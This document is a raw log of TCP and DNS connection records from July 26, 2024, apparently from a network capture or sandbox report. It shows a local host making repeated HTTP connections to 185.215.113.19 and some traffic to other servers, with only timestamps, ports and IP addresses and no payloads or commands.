Jul 26, 2024 13:50:18.349020958 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:18.354289055 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:18.421736956 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:18.446331978 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:18.449846029 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:18.456433058 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:18.522449970 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:18.527990103 CEST	443	59167	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.528202057 CEST	59167	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.531006098 CEST	59167	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.531023979 CEST	443	59167	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.531263113 CEST	443	59167	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.533941031 CEST	59167	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.534046888 CEST	59167	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.534096003 CEST	443	59167	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.534379959 CEST	59167	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.537579060 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:18.543483973 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:18.545703888 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:18.551487923 CEST	443	59169	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.551512003 CEST	443	59169	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.551600933 CEST	59169	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.552932978 CEST	443	59166	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.554218054 CEST	59169	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.554238081 CEST	443	59169	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.554510117 CEST	59166	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.554594040 CEST	443	59169	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.556727886 CEST	59166	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.556744099 CEST	443	59166	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.557080030 CEST	443	59166	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.559627056 CEST	59169	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.559706926 CEST	59169	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.559840918 CEST	443	59169	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.559941053 CEST	59166	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.559988976 CEST	59166	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.560170889 CEST	59166	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.560188055 CEST	59169	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.572372913 CEST	443	59168	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.572511911 CEST	59168	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.575211048 CEST	59168	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.575227976 CEST	443	59168	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.575557947 CEST	443	59168	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.577918053 CEST	59168	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.578012943 CEST	59168	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.578172922 CEST	443	59168	34.120.208.123	192.168.2.6
Jul 26, 2024 13:50:18.578484058 CEST	59168	443	192.168.2.6	34.120.208.123
Jul 26, 2024 13:50:18.598208904 CEST	80	59164	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:18.598289013 CEST	59164	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:18.623384953 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:18.635293007 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:18.639025927 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:18.644321918 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:18.706583977 CEST	59164	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:18.706851006 CEST	59170	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:18.712855101 CEST	80	59170	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:18.712939024 CEST	59170	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:18.713057041 CEST	59170	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:18.716092110 CEST	80	59164	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:18.716166973 CEST	59164	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:18.718503952 CEST	80	59170	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:18.723974943 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:18.733911991 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:18.824579000 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:19.476111889 CEST	80	59170	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:19.477683067 CEST	59170	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:19.479886055 CEST	59170	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:19.487586021 CEST	59172	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:19.492352009 CEST	80	59170	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:19.492403984 CEST	59170	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:19.492466927 CEST	80	59172	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:19.492578983 CEST	59172	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:19.492722034 CEST	59172	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:19.498996019 CEST	80	59172	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:19.527281046 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:19.532685995 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:19.624937057 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:19.629705906 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:19.634603024 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:19.724149942 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:19.730592966 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:19.831254005 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:20.254906893 CEST	80	59172	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:20.257128954 CEST	59172	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:20.378794909 CEST	59172	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:20.379065037 CEST	59174	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:20.384449959 CEST	80	59174	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:20.384555101 CEST	59174	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:20.384673119 CEST	59174	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:20.385565996 CEST	80	59172	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:20.385822058 CEST	59172	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:20.389822960 CEST	80	59174	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:20.917228937 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:20.947467089 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:21.037760973 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:21.043529987 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:21.048748970 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:21.120143890 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:21.138782024 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:21.155534983 CEST	80	59174	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:21.155623913 CEST	59174	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:21.158729076 CEST	59174	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:21.159138918 CEST	59175	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:21.164155960 CEST	80	59175	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:21.164617062 CEST	59175	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:21.164669037 CEST	80	59174	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:21.165046930 CEST	59174	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:21.165047884 CEST	59175	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:21.169926882 CEST	80	59175	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:21.220858097 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:22.039042950 CEST	80	59175	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:22.039212942 CEST	59175	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:22.151432991 CEST	59175	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:22.151992083 CEST	59176	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:22.157273054 CEST	80	59175	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:22.157393932 CEST	59175	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:22.158185959 CEST	80	59176	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:22.158293009 CEST	59176	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:22.158400059 CEST	59176	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:22.163201094 CEST	80	59176	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:22.921655893 CEST	80	59176	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:22.922883987 CEST	59176	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:22.925193071 CEST	59176	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:22.925456047 CEST	59177	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:22.930804014 CEST	80	59176	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:22.931112051 CEST	80	59177	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:22.931196928 CEST	59176	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:22.931224108 CEST	59177	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:22.931495905 CEST	59177	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:22.936605930 CEST	80	59177	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:23.699060917 CEST	80	59177	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:23.710917950 CEST	59177	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:23.821484089 CEST	59177	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:23.821785927 CEST	59178	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:23.827399015 CEST	80	59178	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:23.827482939 CEST	59178	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:23.827591896 CEST	59178	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:23.829581976 CEST	80	59177	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:23.830840111 CEST	59177	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:23.832448006 CEST	80	59178	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:24.576410055 CEST	80	59178	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:24.581593037 CEST	59178	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:24.585105896 CEST	59178	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:24.585367918 CEST	59179	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:24.591995955 CEST	80	59179	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:24.592117071 CEST	59179	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:24.592468023 CEST	59179	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:24.592845917 CEST	80	59178	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:24.594800949 CEST	59178	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:24.597719908 CEST	80	59179	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:25.371934891 CEST	80	59179	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:25.371995926 CEST	59179	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:25.491873980 CEST	59179	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:25.492089033 CEST	59180	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:25.497540951 CEST	80	59180	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:25.497692108 CEST	80	59179	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:25.497791052 CEST	59179	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:25.497802973 CEST	59180	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:25.497965097 CEST	59180	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:25.512342930 CEST	80	59180	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:26.307826042 CEST	80	59180	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:26.307928085 CEST	59180	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:26.311193943 CEST	59180	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:26.311470985 CEST	59181	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:26.321043015 CEST	80	59181	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:26.321109056 CEST	59181	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:26.321392059 CEST	59181	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:26.321803093 CEST	80	59180	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:26.321929932 CEST	59180	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:26.327130079 CEST	80	59181	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:27.160875082 CEST	80	59181	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:27.160959959 CEST	59181	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:27.284250975 CEST	59181	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:27.284523964 CEST	59182	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:27.289850950 CEST	80	59181	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:27.289872885 CEST	80	59182	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:27.290060997 CEST	59181	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:27.290543079 CEST	59182	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:27.290543079 CEST	59182	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:27.295856953 CEST	80	59182	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:27.303812981 CEST	59182	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:27.308088064 CEST	59183	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:27.314018011 CEST	80	59183	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:27.315068007 CEST	59183	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:27.315213919 CEST	59183	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:27.320327044 CEST	80	59183	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:28.150091887 CEST	80	59183	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:28.150244951 CEST	59183	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:28.271365881 CEST	59183	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:28.271658897 CEST	59184	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:28.276587963 CEST	80	59184	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:28.276695967 CEST	59184	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:28.276859045 CEST	80	59183	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:28.276963949 CEST	59184	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:28.277025938 CEST	59183	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:28.282094002 CEST	80	59184	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:28.601764917 CEST	63315	53	192.168.2.6	1.1.1.1
Jul 26, 2024 13:50:28.612855911 CEST	53	63315	1.1.1.1	192.168.2.6
Jul 26, 2024 13:50:28.613370895 CEST	63315	53	192.168.2.6	1.1.1.1
Jul 26, 2024 13:50:28.618416071 CEST	53	63315	1.1.1.1	192.168.2.6
Jul 26, 2024 13:50:29.086313963 CEST	80	59184	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:29.086417913 CEST	59184	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:29.089437962 CEST	59184	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:29.089799881 CEST	63316	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:29.095942020 CEST	80	59184	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:29.096031904 CEST	59184	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:29.096199036 CEST	80	63316	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:29.096391916 CEST	63316	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:29.096559048 CEST	63316	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:29.405349970 CEST	63315	53	192.168.2.6	1.1.1.1
Jul 26, 2024 13:50:29.409713030 CEST	80	59184	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:29.410229921 CEST	59184	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:29.412700891 CEST	80	63316	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:29.412717104 CEST	63315	53	192.168.2.6	1.1.1.1
Jul 26, 2024 13:50:29.415477991 CEST	53	63315	1.1.1.1	192.168.2.6
Jul 26, 2024 13:50:29.415599108 CEST	63315	53	192.168.2.6	1.1.1.1
Jul 26, 2024 13:50:29.416591883 CEST	80	59184	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:30.206147909 CEST	80	63316	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:30.207015991 CEST	63316	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:30.326351881 CEST	63316	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:30.326617956 CEST	63319	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:30.331542015 CEST	80	63319	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:30.331731081 CEST	63319	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:30.331887960 CEST	63319	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:30.332007885 CEST	80	63316	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:30.332201004 CEST	63316	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:30.336863041 CEST	80	63319	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:30.401359081 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:30.406246901 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:30.498022079 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:30.501595020 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:30.506743908 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:30.597572088 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:50:30.624383926 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:30.725137949 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:50:31.155709028 CEST	80	63319	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:31.155901909 CEST	63319	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:31.158920050 CEST	63319	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:31.159184933 CEST	63320	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:31.164017916 CEST	80	63320	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:31.164113045 CEST	63320	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:31.164287090 CEST	63320	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:31.164654970 CEST	80	63319	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:31.164736032 CEST	63319	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:31.169138908 CEST	80	63320	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:31.973201990 CEST	80	63320	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:31.973462105 CEST	63320	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:32.077939034 CEST	63320	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:32.078294992 CEST	63321	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:32.083271980 CEST	80	63321	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:32.083355904 CEST	63321	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:32.083524942 CEST	63321	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:32.083692074 CEST	80	63320	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:32.083779097 CEST	63320	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:32.088320017 CEST	80	63321	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:32.851346016 CEST	80	63321	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:32.854854107 CEST	63321	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:32.857280016 CEST	63321	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:32.857584000 CEST	63322	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:32.862514973 CEST	80	63322	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:32.863010883 CEST	80	63321	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:32.863106966 CEST	63321	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:32.863120079 CEST	63322	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:32.863274097 CEST	63322	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:32.869256973 CEST	80	63322	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:33.639045954 CEST	80	63322	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:33.639199972 CEST	63322	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:33.751754999 CEST	63322	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:33.752060890 CEST	63323	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:33.757874966 CEST	80	63323	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:33.758119106 CEST	63323	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:33.758281946 CEST	63323	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:33.761154890 CEST	80	63322	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:33.761197090 CEST	63322	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:33.766304016 CEST	80	63323	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:34.525290966 CEST	80	63323	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:34.525439024 CEST	63323	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:34.528722048 CEST	63323	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:34.528991938 CEST	63324	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:34.534948111 CEST	80	63323	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:34.535058975 CEST	63323	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:34.535139084 CEST	80	63324	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:34.535406113 CEST	63324	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:34.535710096 CEST	63324	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:34.540777922 CEST	80	63324	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:35.287936926 CEST	80	63324	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:35.290806055 CEST	63324	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:35.400316000 CEST	63324	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:35.400593996 CEST	63325	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:35.405416965 CEST	80	63325	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:35.405492067 CEST	63325	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:35.405616045 CEST	63325	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:35.406111956 CEST	80	63324	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:35.406785011 CEST	63324	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:35.410326004 CEST	80	63325	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:36.252291918 CEST	80	63325	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:36.252507925 CEST	63325	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:36.255198956 CEST	63325	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:36.255687952 CEST	63326	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:36.261197090 CEST	80	63326	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:36.262624025 CEST	80	63325	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:36.262733936 CEST	63325	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:36.262733936 CEST	63326	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:36.262876987 CEST	63326	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:36.267909050 CEST	80	63326	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:37.192868948 CEST	80	63326	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:37.194904089 CEST	63326	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:37.312607050 CEST	63326	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:37.313146114 CEST	63327	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:37.318506002 CEST	80	63326	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:37.318752050 CEST	63326	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:37.319427967 CEST	80	63327	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:37.319534063 CEST	63327	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:37.319844961 CEST	63327	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:37.327090979 CEST	80	63327	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:38.112552881 CEST	80	63327	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:38.112874985 CEST	63327	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:38.115787983 CEST	63327	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:38.116066933 CEST	63328	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:38.120980024 CEST	80	63328	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:38.121407986 CEST	80	63327	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:38.121575117 CEST	63327	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:38.121602058 CEST	63328	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:38.121857882 CEST	63328	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:38.127517939 CEST	80	63328	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:38.944132090 CEST	80	63328	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:38.944461107 CEST	63328	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:39.064996958 CEST	63328	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:39.065296888 CEST	63329	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:39.185772896 CEST	80	63328	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:39.185971022 CEST	63328	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:50:39.186059952 CEST	80	63329	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:39.186220884 CEST	80	63328	185.215.113.19	192.168.2.6
Jul 26, 2024 13:50:39.186413050 CEST	63328	80	192.168.2.6	185.215.113.19
